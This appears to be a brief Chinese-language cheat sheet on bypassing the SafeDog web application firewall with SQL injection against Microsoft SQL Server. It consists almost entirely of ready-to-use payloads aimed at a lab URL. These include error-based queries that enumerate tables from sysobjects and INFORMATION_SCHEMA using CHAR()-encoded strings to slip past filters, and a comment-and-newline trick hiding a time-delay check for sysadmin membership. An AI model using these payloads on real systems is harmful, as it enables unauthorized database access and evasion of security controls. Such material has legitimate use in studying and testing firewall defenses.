MSSQL—bypass安全狗

and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in 
(CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2B
CHAR(105)%2BCHAR(110)));

http://192.168.130.137/1.aspx?id=1 and ~1=(select top 1 table_name from 
[INFORMATION_SCHEMA].[TABLES] where table_name not in 
(char(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)));--

0x02 简单的联合bypass

http://192.168.130.137/1.aspx?id=1--/*%0aif (select 
IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/